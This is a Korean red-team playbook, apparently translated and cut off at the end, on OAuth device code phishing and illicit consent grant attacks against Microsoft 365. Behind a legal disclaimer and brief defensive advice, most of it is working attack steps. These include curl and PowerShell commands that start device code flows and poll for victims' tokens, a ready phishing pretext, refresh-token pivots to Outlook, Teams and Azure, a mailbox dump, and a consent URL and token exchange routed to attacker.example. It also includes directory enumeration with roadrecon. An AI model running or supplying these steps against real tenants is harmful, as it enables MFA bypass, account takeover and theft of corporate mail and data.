OAuth 디바이스 코드 피싱 공격은(는) 무엇을 하나요?
법적 고지: 이 스킬은 공인된 보안 테스트, 레드 팀 운영 및 교육 목적으로만 사용해야 합니다. 디바이스 코드 및 동의 부여 피싱은 실제 사용자를 속여 공격자가 제어하는 기업 ID에 대한 접근 권한을 부여하도록 합니다. 귀하가 소유하거나 명시적인 서면 승인(운영 규칙)을 받은 테넌트에 대해서만 실행하십시오. 무단 사용은 컴퓨터 사기 및 남용 방지법 및 전 세계의 동등한 법률을 위반합니다.
개요
OAuth 2.0 디바이스 인증 부여(Device Authorization Grant, RFC 8628)는 브라우저 기반 로그인을 쉽게 제공할 수 없는 입력 제약 장치(스마트 TV, CLI 도구)를 위해 설계되었습니다. 장치는 짧은 user_code와 device_code를 요청하고, user_code와 인증 URL을 사용자에게 표시한 다음, 사용자가 별도의 완전한 기능을 갖춘 장치에서 인증하는 동안 토큰 엔드포인트를 폴링합니다. 공격자는 이 흐름을 무기화합니다: 스마트 TV 대신 "장치"는 공격자의 머신입니다. 공격자가 디바이스 코드 요청을 시작한 다음, 피해자를 피싱하여 합법적인 Microsoft 인증 페이지(https://microsoft.com/devicelogin)를 방문하고 공격자가 생성한 user_code를 입력하도록 합니다. 피해자가 실제 Microsoft 로그인 페이지에서 인증(MFA 완료)하기 때문에 결과 토큰은 공격자의 폴링 세션에 발급됩니다. 이는 MFA를 완전히 우회합니다: 두 번째 요소는 피해자가 충족하지만, 베어러 토큰은 공격자에게 전달됩니다(MITRE ATT&CK T1528 – 애플리케이션 액세스 토큰 탈취에 매핑).
Microsoft Threat Intelligence, Volexity 및 Proofpoint는 2025년까지 디바이스 코드 피싱이 급격히 증가했다고 문서화했으며, 러시아와 연계된 행위자(Microsoft가 Storm-2372로 추적)가 가장 많은 활동을 보였습니다. Mandiant의 M-Trends 보고서 역시 OAuth 토큰 도난을 주요 클라우드 초기 액세스 벡터로 강조합니다. 밀접하게 관련된 기술은 불법 동의 승인("OAuth 피싱")입니다: 공격자는 다중 테넌트 앱을 등록하고 피해자를 속여 /adminconsent 또는 사용자 동의 URL을 클릭하도록 하여 악성 앱에 위임된 Microsoft Graph 권한(Mail.Read, Files.ReadWrite.All, offline_access)을 부여하게 하며, 이는 비밀번호 재설정과 관계없이 유지됩니다. 이 스킬은 두 가지 모두를 다루며, TokenTactics를 사용한 Microsoft 365 서비스 전반의 토큰 재사용 및 ROADtools를 사용한 검증/액세스 매핑도 포함합니다.
레드 팀이 악용하는 핵심 속성: 디바이스 코드 흐름을 통해 발급된 액세스 토큰은 약 60–90분 동안 유효하지만, 수반되는 리프레시 토큰(offline_access 범위 포함)은 최대 90일 동안 유지되며 클라이언트가 요청할 수 있는 모든 자사 리소스(Outlook, SharePoint, Teams, Azure Resource Manager)에 대해 새 토큰으로 교환될 수 있어 MFA를 우회하는 지속적인 액세스를 가능하게 합니다.
사용 시기
- 사회 공학이 범위에 포함된 Microsoft 365 / Entra ID를 대상으로 하는 공인된 레드 팀 또는 침해 가정 운영 중
- 실제 피싱 기술에 대한 조건부 액세스 정책, MFA 적용 및 토큰 보호 제어를 검증할 때
- 조직이 OAuth 디바이스 코드 흐름을 제한하거나 확인되지 않은 다중 테넌트 앱 동의를 차단하는지 테스트할 때
- 피싱 방지 인증(FIDO2) 및 토큰 바인딩 제어의 필요성을 정당화하기 위해 MFA 우회 위험을 시연할 때
- 탐지 기능(블루 팀의
hunting-saas-sso-token-abuse스킬과 함께)을 구축하고 현실적인 원격 분석이 필요할 때
전제 조건
- 대상 테넌트에 대한 피싱 및 토큰 도난을 명시적으로 허용하는 서면 승인/운영 규칙
- 통제된 구실 전달 채널(승인된 피싱 인프라 또는 내부 테스트 사서함)
- Python 3.8+ 및 PowerShell 7+가 설치된 Linux 또는 Windows 공격자 호스트
- TokenTactics (PowerShell) 및 ROADtools (Python) 설치:
# ROADtools (roadrecon + roadtx) — Dirk-jan Mollema / Outsider Security pip install roadtools roadtools_auth # roadtx (ROADtools Token eXchange)는 roadtools_auth에 포함됨 roadtx --help # TokenTactics v2 (rvrsh3ll) git clone https://github.com/rvrsh3ll/TokenTactics.git pwsh -c "Import-Module ./TokenTactics/TokenTactics.psd1" - OAuth 2.0 권한 부여 유형, JWT 구조 및 Microsoft Graph 범위에 대한 이해
목표
- 자사 클라이언트 ID를 사용하여 Entra ID에 대한 OAuth 디바이스 코드 요청 시작
- 피해자를 진짜 Microsoft 디바이스 로그인 페이지로 유도하는 신뢰할 수 있는 구실 전달
- 토큰 엔드포인트를 폴링하여 피해자의 액세스 및 리프레시 토큰 캡처
- Microsoft 365 리소스(Graph, Outlook, Azure 관리) 전반에 걸쳐 토큰을 갱신하여 액세스 확장
- 악성 다중 테넌트 앱을 등록하고 동의를 피싱하여 불법 동의 변형 실행
- ROADtools를 사용하여 액세스 가능한 리소스 및 데이터를 열거하여 영향 입증
- MFA 우회 문서화 및 수정 권장 사항 생성
MITRE ATT&CK 매핑
| ID | 기술 | 이 스킬에서의 적용 |
|---|---|---|
| T1528 | 애플리케이션 액세스 토큰 탈취 | 디바이스 코드 흐름/동의 부여 피싱으로 공격자가 제어하는 OAuth 액세스 및 리프레시 토큰을 획득하여 재인증 없이 클라우드 서비스에 액세스하는 데 재사용 |
자주 연결되는 관련 기술: T1566 피싱(전달), T1550.001 애플리케이션 액세스 토큰(탈취한 토큰 재사용), T1098.003 계정 조작: 추가 클라우드 역할(동의 부여 지속성).
워크플로
1단계: 디바이스 코드 요청 시작
공격자는 Entra ID에 디바이스 코드를 요청하며, 피해자가 암묵적으로 신뢰하는 자사 클라이언트를 선택합니다. Microsoft Office 클라이언트 ID d3590ed6-52b3-4102-aeff-aad2292ab01c는 광범위한 자사 리소스에 대해 사전 승인되었기 때문에 일반적으로 사용됩니다.
-
토큰 엔드포인트에 직접 디바이스 코드 요청:
# client_id = Microsoft Office; scope는 장기 유효 리프레시 토큰을 위해 offline_access 요청 curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d 'scope=https://graph.microsoft.com/.default offline_access' | tee devicecode.json -
JSON 응답에는 공격에 사용할 필드가 포함됨:
{ "user_code": "B7HVQXKZ2", "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...", "verification_uri": "https://microsoft.com/devicelogin", "expires_in": 900, "interval": 5, "message": "로그인하려면 웹 브라우저를 사용하여 페이지 https://microsoft.com/devicelogin을 열고 코드 B7HVQXKZ2를 입력하여 인증하세요." } -
15분(
expires_in: 900) 유효 기간을 확인 — 구실은 피해자가 신속하게 인증하도록 유도해야 함.TokenTactics를 사용한 동등한 방법(폴링 자동 처리):
Import-Module ./TokenTactics/TokenTactics.psd1 # 디바이스 코드를 생성하고 폴링을 시작합니다. 피싱할 user_code를 출력합니다. Get-AzureToken -Client MSGraph
2단계: 구실 전달
피싱 메시지에는 자격 증명 수집 링크가 포함되어서는 안 됩니다. 피해자는 실제 Microsoft 페이지에서 인증하며, 이것이 사용자의 의심과 MFA를 무력화하는 요소입니다.
- 실제
https://microsoft.com/deviceloginURL과user_code를 참조하는 구실을 작성합니다(예: "IT 부서에서 새 Teams Rooms 장치에 계정을 등록 중입니다. microsoft.com/devicelogin을 열고 15분 이내에 코드 B7HVQXKZ2를 입력하세요."). - 승인된 피싱 인프라를 통해 전송합니다. 하이퍼링크된 코드/URL은 종종 스팸으로 분류되므로 URL과 코드를 일반 텍스트로 제시하십시오.
- 코드가 유효하도록 폴링 주기 시작 시간에 맞춰 전달합니다.
3단계: 토큰 폴링 및 캡처
피해자가 인증 및 승인하는 동안 device_code로 토큰 엔드포인트를 폴링하여 토큰이 발급될 때까지 기다립니다.
- 서버가 지정한 간격(5초)으로 폴링합니다. 피해자가 로그인을 완료할 때까지
authorization_pending이 예상됩니다:DEVICE_CODE=$(python -c "import json;print(json.load(open('devicecode.json'))['device_code'])") while true; do RESP=$(curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/token' \ -d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d "device_code=${DEVICE_CODE}") echo "$RESP" | grep -q access_token && { echo "$RESP" > tokens.json; break; } echo "$RESP" | grep -q authorization_pending || echo "$RESP" sleep 5 done - 성공 시 응답에
access_token,refresh_token,id_token,expires_in및 부여된scope가 포함됩니다. - 액세스 토큰을 디코딩하여 캡처된 ID, 대상 및 범위를 확인합니다:
python -c "import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))"
4단계: Microsoft 365 리소스 전반에 걸쳐 토큰 갱신
리프레시 토큰(offline_access 포함)은 다른 자사 리소스에 범위가 지정된 토큰으로 교환될 수 있어 원래 범위를 넘어 액세스를 확장할 수 있습니다.
- TokenTactics 갱신 함수를 사용하여 리프레시 토큰을 특정 서비스로 피벗합니다:
# $response는 Get-AzureToken의 디바이스 코드 결과를 보유 $rt = $response.refresh_token Invoke-RefreshToOutlookToken -domain target.com -refreshToken $rt # 사서함 액세스 Invoke-RefreshToMSGraphToken -domain target.com -refreshToken $rt # Graph Invoke-RefreshToMSTeamsToken -domain target.com -refreshToken $rt # Teams Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM Invoke-RefreshToSubstrateToken -domain target.com -refreshToken $rt - roadtx를 사용한 동등한 방법으로 리프레시 토큰을 새 리소스로 교환:
roadtx refreshtokento \ -r "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c \ -s https://graph.microsoft.com/.default - 사서함 액세스를 시연하여 영향 입증(읽기 전용, 운영 규칙에 따라 범위 지정):
Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox
5단계: 불법 동의 승인 변형
디바이스 코드 대신 악성 다중 테넌트 앱을 등록하고 피해자를 피싱하여 위임된 Graph 권한에 동의하도록 유도하여 비밀번호 재설정에도 유지되는 지속적인 액세스를 확보합니다.
- 공격자 테넌트에
Mail.Read,Files.ReadWrite.All,offline_access와 같은 위임된 범위를 요청하는 다중 테넌트 앱을 등록합니다. - 사용자 동의 URL을 작성하고 피싱합니다:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize? client_id=<ATTACKER_APP_ID> &response_type=code &redirect_uri=https://attacker.example/callback &response_mode=query &scope=offline_access%20Mail.Read%20Files.ReadWrite.All &state=12345 - 피해자가 동의하면 반환된
code를 토큰으로 교환합니다:curl -s -X POST 'https://login.microsoftonline.com/common/oauth2/v2.0/token' \ -d 'client_id=<ATTACKER_APP_ID>' \ -d 'grant_type=authorization_code' \ -d 'code=<AUTH_CODE>' \ -d 'redirect_uri=https://attacker.example/callback' \ -d 'client_secret=<APP_SECRET>' \ -d 'scope=offline_access Mail.Read Files.ReadWrite.All' - 동의된 OAuth 권한 부여는 관리자가 철회할 때까지 피해자 테넌트에 서비스 주체 권한 부여로 유지됩니다(
Remove-MgServicePrincipalOauth2PermissionGrant).
6단계: ROADtools로 영향 평가
- 캡처된 토큰/리프레시 토큰으로 roadrecon을 인증하고 디렉터리를 덤프합니다:
roadrecon auth --refresh-token "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c roadrecon gather roadrecon gui # 사용자, 그룹, 앱 등록, 역할 할당 검색 - 높은 가치의 액세스 식별: 역할 할당, 소유 애플리케이션, 액세스 가능한 SharePoint 사이트 및 추가 동의 권한 부여.
- 운영 보고서를 위해 도난된 토큰이 도달한 정확한 데이터와 역할을 기록합니다.
도구 및 리소스
| 도구 | 목적 | 출처 |
|---|---|---|
| TokenTactics v2 | M365 서비스 전반에 걸쳐 디바이스 코드 생성 및 리프레시 토큰 교환 | https://github.com/rvrsh3ll/TokenTactics |
| ROADtools (roadrecon / roadtx) | 토큰 교환, 디렉터리 열거, 액세스 매핑 | https://github.com/dirkjanm/ROADtools |
| AADInternals | Entra ID 공격/정찰 PowerShell 툴킷 | https://github.com/Gerenios/AADInternals |
| RFC 8628 | OAuth 2.0 디바이스 인증 부여 사양 | https://datatracker.ietf.org/doc/html/rfc8628 |
| Microsoft / Storm-2372 권고 | 디바이스 코드 피싱 캠페인 분석 | https://www.microsoft.com/en-us/security/blog/ |
| Mandiant M-Trends | OAuth 토큰 도난 트렌드 보고 | https://cloud.google.com/security/resources/m-trends |
방어 권장 사항
| 제어 | 효과 |
|---|---|
디바이스 코드 흐름이 필요하지 않은 사용자에 대해 이를 차단하는 조건부 액세스 정책(authenticationFlows) | 대부분의 사용자에 대한 공격 표면 제거 |
| 피싱 방지 MFA(FIDO2/패스키) + 토큰 보호(토큰 바인딩) | 바인딩된 토큰은 피해자 장치 외부에서 재생될 수 없음 |
| 사용자 동의를 확인된 게시자로 제한/관리자 동의 필요 | 불법 동의 권한 부여 차단 |
| 신뢰할 수 없는 네트워크에서 로그인 빈도 + 짧은 세션 수명 | 리프레시 토큰 수명 제한 |
디바이스 코드 권한 부여 및 비정상적인 토큰 사용에 대한 AADNonInteractiveUserSignInLogs 모니터링 | 탐지(hunting-saas-sso-token-abuse 참조) |
검증 기준
- 디바이스 코드 요청이 유효한
user_code와device_code를 반환함 - 실제 Microsoft 디바이스 로그인 페이지를 참조하는 구실 전달됨(수집 링크 없음)
- 토큰 엔드포인트가 폴링되고
access_token+refresh_token이 캡처됨
...
[번역을 위해 잘림]